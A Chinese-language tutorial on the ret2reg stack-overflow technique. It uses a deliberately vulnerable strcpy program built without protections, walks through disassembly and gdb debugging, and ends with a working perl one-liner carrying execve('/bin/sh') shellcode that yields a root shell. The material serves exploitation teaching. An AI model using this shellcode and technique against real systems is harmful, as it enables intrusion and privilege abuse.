ret2reg

原理

  1. 查看栈溢出返回时哪个寄存器指向缓冲区空间。
  2. 查找对应的call 寄存器或者jmp 寄存器指令,将EIP设置为该指令地址。
  3. 将寄存器所指向的空间上注入shellcode(确保该空间是可以执行的,通常是栈上的)

利用思路

  • 分析和调试汇编,查看溢出函数返回时哪个寄存器指向缓冲区地址
  • 向寄存器指向的缓冲区中注入shellcode
  • 查找call 该寄存器或者jmp 该寄存器指令,并将该指令地址覆盖ret

防御方法

在函数ret之前,将所有赋过值的寄存器全部复位,清0,以避免此类漏洞

Example

此类漏洞常见于strcpy字符串拷贝函数中。

源程序

#include <stdio.h>
#include <string.h>
void evilfunction(char *input) {char buffer[512];strcpy(buffer, input);
}
int main(int argc, char **argv) {evilfunction(argv[1]);return 0;
}

编译

开启地址随机化(ASLR)

echo 2 > /proc/sys/kernel/randomize_va_space

进行编译

gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector

checksec + IDA分析

[*] '/mnt/hgfs/ubuntu_share/pwn/interrop/ret2reg'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX disabledPIE:      No PIE (0x8048000)RWX:      Has RWX segments
int __cdecl main(int argc, const char **argv, const char **envp)
{evilfunction((char *)argv[1]);return 0;
}
void __cdecl evilfunction(char *input)
{char buffer[512]; // [esp+0h] [ebp-208h]strcpy(buffer, input);
}
  • 可以看出,程序将argv[1]对应的字符串拷贝进了buffer中,argv[1]就是程序接收的命令行参数。
./ret2reg 123123
  • 123123就是我们输入的第一个命令行参数,其中 $argv[0] 就是脚本文件名,argc[1]为输入的第一个参数
  • 返回evilfunction函数的汇编指令
.text:0804840B                 push    ebp
.text:0804840C                 mov     ebp, esp
.text:0804840E                 sub     esp, 208h
.text:08048414                 sub     esp, 8
.text:08048417                 push    [ebp+input]     ; src
.text:0804841A                 lea     eax, [ebp+buffer]
.text:08048420                 push    eax             ; dest
.text:08048421                 call    _strcpy
.text:08048426                 add     esp, 10h
.text:08048429                 nop
.text:0804842A                 leave
.text:0804842B                 retn
  • 可以看到,lea eax,[ebp+buffer],该指令就是将[ebp + buffer]的偏移地址送给eax,也就相当于eax指向了buffer缓冲区的位置
  • 这时我们就可以向buffer中写入shellcode,并且找到call eax指令地址来覆盖ret,从而拿到shell
  • 这时我们需要查看evilfunction函数返回时,eax是不是还指向缓冲区地址
  • 使用gdb进行调试带参数的程序

gdb --args ret2reg 123123
b *0x0804842B
r

  • 可见eax的值仍为缓冲区的地址
  • 接下来查找call eax或者jmp eax指令
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/interrop# objdump -d ret2reg | grep *%eax8048373:    ff d0                   call   *%eax
  • payload就可以构造出来了

payload = shellcode + (0x208 + 4 - len(shellcode)) * a + p32(0x8048373)

Exp

  • 使用prel命令即可打通
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/interrop# ./ret2reg $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\x73\x83\x04\x08"')
# id
uid=0(root) gid=0(root) groups=0(root)

中级ROP之ret2reg相关推荐

  1. 二进制学习基础文章整理

    二进制.栈溢出入门笔记整理 以下是我入门二进制的一些笔记整理链接,特此整理出来,方便自己查阅,也方便读者阅读. 必备知识 <linux程序的常用保护机制> <PLT表和GOT表学习& ...

  2. ret2csu ROP Emporium

    14 ret2csu 参考网址 [原创]ret2csu学习-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com ROP Emporium - Ret2csu (x64) - blog.r ...

  3. Jarvisoj_WP

    文章目录 @[toc] **JarvisOJ - Level 0** **EXP** **JarvisOJ - Level 1** **EXP** **JarvisOJ - Level 2** **E ...

  4. 中级实训第一天的自学报告

    目录[阅读时间:约10分钟] 中级实训第一天的自学报告 姓名:隐藏敏感信息 学号:隐藏敏感信息 一.Vi/Vim 二.Java 三.Ant 四.Junit [附加]五.SonarQube [附加]六. ...

  5. 25个增强iOS应用程序性能的提示和技巧 — 中级篇

    本文由破船译自:raywenderlich 转载请注明出处:BeyondVincent的博客 _____________ 在开发iOS应用程序时.让程序具有良好的性能是非常关键的.这也是用户所期望的. ...

  6. Unity创建游戏VFX视觉特效-初级到中级

    MP4 |视频:h264,1280×720 |音频:AAC,44100 Hz 语言:英语+中英文字幕(根据原英文字幕机译更准确)|大小解压后:3.36 GB |时长:4h 17m 本课程是关于用Uni ...

  7. asp.net2.0学习历程 菜鸟到中级程序员的飞跃【月儿原创】

    asp.net2.0学习历程 菜鸟到中级程序员的飞跃 --30本好书点评 作者:清清月儿 主页:http://blog.csdn.net/21aspnet/           时间:2007.5.1 ...

  8. 关于2012年度土建工程专业中级专业技术资格考试有关问题的通知

    关于2012年度土建工程专业中级专业技术资格考试有关问题的通知 现将2012年度土建工程专业初.中级专业技术资格考试.报名.培训工作有关事项通知如下: 一.考试组织 湖南省住房和城乡建设厅.省人力资源 ...

  9. 中级前端笔试_在短短8个月内如何获得中级前端开发人员的角色

    中级前端笔试 by Matthew Burfield 通过马修·伯菲尔德(Matthew Burfield) 在短短8个月内如何获得中级前端开发人员的角色 (How I got a mid-level ...

最新文章

  1. 微型计算机系统采用三级存储器组织结构,微型计算机原理07级试卷B.doc
  2. python文件读取输出-Python 读写文件中数据
  3. Pandas库(1):DataFrame类
  4. 超硬核!我统计了BAT笔试面试出现频率最高的五道题,学会了总能碰到一道
  5. 2022年中国AI芯片行业深度研究
  6. WeTest功能优化第3期:业内首创,有声音的云真机
  7. 各种排序算法的时间复杂度对比
  8. Storm实践2-【storm实时排序TopN】 - TOP10
  9. Centos7(Ubuntu)密码登录失败锁定设置(亲测)
  10. 编程入门先学什么python-自学编程入门,先学什么语言好?
  11. 计算机酒店管理论文摘要,酒店餐饮管理系统论文摘要目录.doc
  12. swift的if语句
  13. 数据库课设之学生信息管理系统
  14. 扫描死链接的工具xenu
  15. 【市场调查与预测】廊坊师范学院大学生洗发水使用情况调查(课程论文)
  16. LG发布新专利,将为VR头显集成眼球追踪技术
  17. 正电荷/内质网靶向性/蓝色/mCy-ER/绿色/开关型/CySeN花菁染料近红外荧光探针的制备
  18. PostGIS系列课程之空间约束(三)
  19. Qt中的UI文件介绍
  20. 笔记本外接显示器掉帧排bug过程

热门文章

  1. Signal QQmlEngine::quit() emitted, but no receivers connected to handle it.
  2. 批处理作业调度【回溯算法】
  3. 如何取得某月的最后一天?
  4. java计算机毕业设计临时停车收费系统源码+系统+数据库+lw文档+mybatis+运行部署
  5. 现代化城市规划发展的趋势--城市大脑
  6. [转]LKM backdoor研究linux系列--insmod源码分析篇
  7. 计算机房空开熔丝,通信机房电源及配套设计.doc
  8. A Game of Thrones(62)
  9. 网络RTK——虚拟参考站法(VRS)
  10. 【数据分析干货】全网最全!各行业常见的业务指标整理(三)-广告行业